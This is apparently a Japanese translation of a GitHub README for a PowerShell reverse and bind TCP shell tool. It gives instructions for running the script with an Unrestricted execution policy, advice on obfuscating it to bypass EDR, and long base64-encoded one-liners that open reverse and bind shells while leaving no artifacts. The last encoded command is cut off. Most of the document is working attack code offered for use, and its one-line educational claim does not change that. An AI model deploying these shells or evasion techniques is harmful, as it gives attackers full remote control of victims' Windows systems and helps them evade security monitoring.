ivan-sincek/powershell-reverse-tcpリモートホストと通信するためのPowerShellスクリプト。
リモートホストと通信するためのPowerShellスクリプト。
リモートホストはクライアントとその基盤となるシステムコマンドを完全に制御できます。
以下のシェルを確認してください：
Windows 10 Enterprise OS (64-bit)上のPowerShell v5.1.19041.2673でテスト済み。
教育目的で作成されました。お役に立てば幸いです！
このリポジトリには既知のシグネチャが存在し始めているため、毎回新しいスクリプトをアップロードする時間がありません。自分でスクリプトを難読化してください。
今後の計画：
必要に応じてスクリプト内のIPアドレスとポート番号を変更してください。
\src\invoke_expression\original\ または \src\process_pipes\original\ からPowerShellを開き、下記のコマンドを実行してください。
実行ポリシーを設定：```pwsh Set-ExecutionPolicy Unrestricted
スクリプトを実行する:```pwsh
.\powershell_reverse_tcp.ps1
または、次のコマンドを PowerShell または Command Prompt のいずれかから実行してください：```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
## PowerShellスクリプトの難読化
スクリプトを難読化することで、EDRやその他のセキュリティメカニズムをバイパスしてみてください。以下の例でそのような難読化を確認できます。
元のPowerShellコマンド:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
難読化されたPowerShellコマンド:```pwsh
& (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'
**元のPowerShellスクリプトは[こちら](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1)、完全に難読化されたものは[こちら](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1)で確認してください。**
[手動による難読化](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1)の後、元のPowerShellスクリプトは[Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)で難読化されました。作者に感謝します！
インターネットで追加の難読化技術や方法を検索してください。
追伸：PowerShellは常に更新されているため、一部の正規表現（例：`*ke-E*`）は、複数のメソッドが同じ式に一致するために例外をスローし始める可能性があります。そのため、式を少し詳しく指定する必要があります。
### PowerShellエンコード済みコマンド
PowerShellスクリプトからPowerShellエンコード済みコマンドを生成するには、次のPowerShellコマンドを実行します：```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/HEAD/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
PowerShellでエンコードされたコマンドをデコードするには、次のPowerShellコマンドを実行してください:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/HEAD/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
アーティファクトを残したくない場合は、以下のワンライナーを使用してください。
---
**\[Reverse TCP - Invoke-Expression\]** PowerShellエンコードコマンドにパラメータを渡すには、PowerShellまたはコマンドプロンプトから次のコマンドを実行します:```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAAgAD0AIAAkACgAUgBlAGEAZAAtAEgAbwBzAHQAIAAtAFAAcgBvAG0AcAB0ACAAIgBFAG4AdABlAHIAIABwAG8AcgB0ACAAbgB1AG0AYgBlAHIAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgAGkAZgAgACgAJABhAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAIAAtAG8AcgAgACQAcAAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxACkAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAUgBlAHYAZQByAHMAZQAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAYwAgAD0AIAAkAHMAIAA9ACAAJABiACAAPQAgACQAdwAgAD0AIAAkAGQAIAA9ACAAJAByACAAPQAgACQAbgB1AGwAbAA7ACAAdAByAHkAIAB7ACAAJABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACQAYQAsACAAJABwACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgACQAYgB5ACAAPQAgADAAOwAgAGQAbwAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAiAFAAUwA+ACIAKQA7ACAAZABvACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAGQAIAArAD0AIAAkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsACAAMAAsACAAJABiAHkAKQA7ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAcwAuAEQAYQB0AGEAQQB2AGEAaQBsAGEAYgBsAGUAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgAD0AIAAkAGQALgBUAHIAaQBtACgAKQA7ACAAaQBmACAAKAAkAGQALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApACAAewAgAHQAcgB5ACAAewAgACQAcgAgAD0AIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJAByACAAPQAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIABpAGYAIAAoACQAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJAByACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHIAOwAgAH0AIAB9ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJAByACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAByADsAIAB9ACAAaQBmACAAKAAkAGQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwADsA
エンコードされたスクリプトは入力を求めます。若干変更されたスクリプトはこちらを参照してください - コマンドの長さを短縮するために、ミニファイされたスクリプトを使用しました。
[Reverse TCP - Process Pipes] PowerShellエンコードコマンドにパラメータを渡すには、PowerShellまたはコマンドプロンプトから次のコマンドを実行します：```pwsh PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAB0ACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAGEALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAHQALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAbwB0AGgAIABwAGEAcgBhAG0AZQB0AGUAcgBzACAAYQByAGUAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgAHYANAAuADAAIABiAHkAIABJAHYAYQBuACAAUwBpAG4AYwBlAGsALgBgAG4ARwBpAHQASAB1AGIAIAByAGUAcABvAHMAaQB0AG8AcgB5ACAAYQB0ACAAZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAdgBhAG4ALQBzAGkAbgBjAGUAawAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALQByAGUAdgBlAHIAcwBlAC0AdABjAHAALgAiADsAIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABwACAAPQAgACQAZQAgAD0AIAAkAG8AIAA9ACAAJABlAGUAIAA9ACAAJABvAGUAIAA9ACAAJABuAHUAbABsADsAIAB0AHIAeQAgAHsAIAAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAJABhACwAIAAkAHAAdAApADsAIAAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIAAkAHMALgBSAGUAYQBkAFQAaQBtAGUAbwB1AHQAIAA9ACAANQA7ACAAJABiACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgADEAMAAyADQAOwAgACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHMALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACwAIAAxADAAMgA0ACkAOwAgACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoACAAPQAgACQAdAByAHUAZQA7ACAAJABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzADsAIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3ACAAPQAgACQAdAByAHUAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQBdADoAOgBIAGkAZABkAGUAbgA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQARQByAHIAbwByACAAPQAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAAgAD0AIAAkAHQAcgB1AGUAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4ARQByAHIAbwByAEQAaQBhAGwAbwBnACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAHAALgBFAG4AYQBiAGwAZQBSAGEAaQBzAGkAbgBnAEUAdgBlAG4AdABzACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAHMAYgAgAD0AIAB7ACAAaQBmACAAKAAkAEUAdgBlAG4AdABBAHIAZwBzAC4ARABhAHQAYQAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJABFAHYAZQBuAHQALgBNAGUAcwBzAGEAZwBlAEQAYQB0AGEALgBBAHAAcABlAG4AZABMAGkAbgBlACgAJABFAHYAZQBuAHQAQQByAGcAcwAuAEQAYQB0AGEAKQA7ACAAfQAgAH0AOwAgACQAZQBlACAAPQAgAFIAZQBnAGkAcwB0AGUAcgAtAE8AYgBqAGUAYwB0AEUAdgBlAG4AdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJABwACAALQBFAHYAZQBuAHQATgBhAG0AZQAgACIARQByAHIAbwByAEQAYQB0AGEAUgBlAGMAZQBpAHYAZQBkACIAIAAtAEEAYwB0AGkAbwBuACAAJABzAGIAIAAtAE0AZQBzAHMAYQBnAGUARABhAHQAYQAgACQAZQA7ACAAJABvAGUAIAA9ACAAUgBlAGcAaQBzAHQAZQByAC0ATwBiAGoAZQBjAHQARQB2AGUAbgB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHAAIAAtAEUAdgBlAG4AdABOAGEAbQBlACAAIgBPAHUAdABwAHUAdABEAGEAdABhAFIAZQBjAGUAaQB2AGUAZAAiACAALQBBAGMAdABpAG8AbgAgACQAcwBiACAALQBNAGUAcwBzAGEAZwBlAEQAYQB0AGEAIAAkAG8AOwAgACQAcAAuAFMAdABhAHIAdAAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAIAAkAHAALgBCAGUAZwBpAG4ARQByAHIAbwByAFIAZQBhAGQATABpAG4AZQAoACkAOwAgACQAcAAuAEIAZQBnAGkAbgBPAHUAdABwAHUAdABSAGUAYQBkAEwAaQBuAGUAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgAHcAaABpAGwAZQAgACgAIQAkAHAALgBIAGEAcwBFAHgAaQB0AGUAZAApACAAewAgAHQAcgB5ACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHAALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AC4AVwByAGkAdABlACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAZQBsAHMAZQAgAHsAIABiAHIAZQBhAGsAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEkAbgB2AG8AYwBhAHQAaQBvAG4ARQB4AGMAZQBwAHQAaQBvAG4AXQAgAHsAfQAgAGkAZgAgACgAJABlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAG8ALgBUAG8AUwB0AHIAaQBuAGcAKAApACkAOwAgACQAbwAuAGMAbABlAGEAcgAoACkAOwAgAH0AIABpAGYAIAAoACQAbwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJABvAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAIAAkAG8ALgBjAGwAZQBhAHIAKAApADsAIAB9ACAAfQAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAZQBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABlAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlAGUAOwAgAH0AIABpAGYAIAAoACQAbwBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABvAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABvAGUAOwAgAH0AIABpAGYAIAAoACQAcAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABwAC4AQwBsAG8AcwBlACgAKQA7ACAAJABwAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHAAOwAgAH0AIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGUALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlADsAIAB9ACAAaQBmACAAKAAkAG8AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAbwAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAG8AOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwAHQAOwA=
エンコードされたスクリプトは入力を促します。若干変更されたスクリプトは[こちら](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/powershell_reverse_tcp_prompt.ps1) - コマンドの長さを短くするために[縮小版](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1)スクリプトを使用しています。
---
**\[Bind TCP - Invoke-Expression\]** PowerShellエンコードコマンドにパラメータを渡すには、PowerShellまたはコマンドプロンプトから次のコマンドを実行します:```pwsh
PowerShell -Command "'9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABwACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAHAALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFAAbwByAHQAIABuAHUAbQBiAGUAcgAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAQgBpAG4AZAAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAbAAgAD0AIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABkACAAPQAgACQAcgAgAD0AIAAkAG4AdQBsAGwAOwAgAHQAcgB5ACAAewAgACQAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAATABpAHMAdABlAG4AZQByACgAIgAwAC4AMAAuADAALgAwACIALAAgACQAcAApADsAIAAkAGwALgBTAHQAYQByAHQAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuAGAAbgBXAGEAaQB0AGkAbgBnACAAZgBvAHIAIABjAGwAaQBlAG4AdAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQALgAuAC4AYABuACIAOwAgAGQAbwAgAHsAIABpAGYAIAAoACQAbAAuAFAAZQBuAGQAaQBuAGcAKAApACkAIAB7ACAAJABjACAAPQAgACQAbAAuAEEAYwBjAGUAcAB0AFQAYwBwAEMAbABpAGUAbgB0ACgAKQA7ACAAfQAgAGUAbABzAGUAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADUAMAAwADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABjACAALQBlAHEAIAAkAG4AdQBsAGwAKQA7ACAAJABsAC4AUwB0AG8AcAAoACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBDAGwAaQBlAG4AdAAgAGgAYQBzACAAYwBvAG4AbgBlAGMAdABlAGQAIQBgAG4AIgA7ACAAJABiAHkAIAA9ACAAMAA7ACAAZABvACAAewAgACQAdwAuAFcAcgBpAHQAZQAoACIAUABTAD4AIgApADsAIABkAG8AIAB7ACAAJABiAHkAIAA9ACAAJABzAC4AUgBlAGEAZAAoACQAYgAsACAAMAAsACAAJABiAC4ATABlAG4AZwB0AGgAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgACsAPQAgACQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAfQAgAHcAa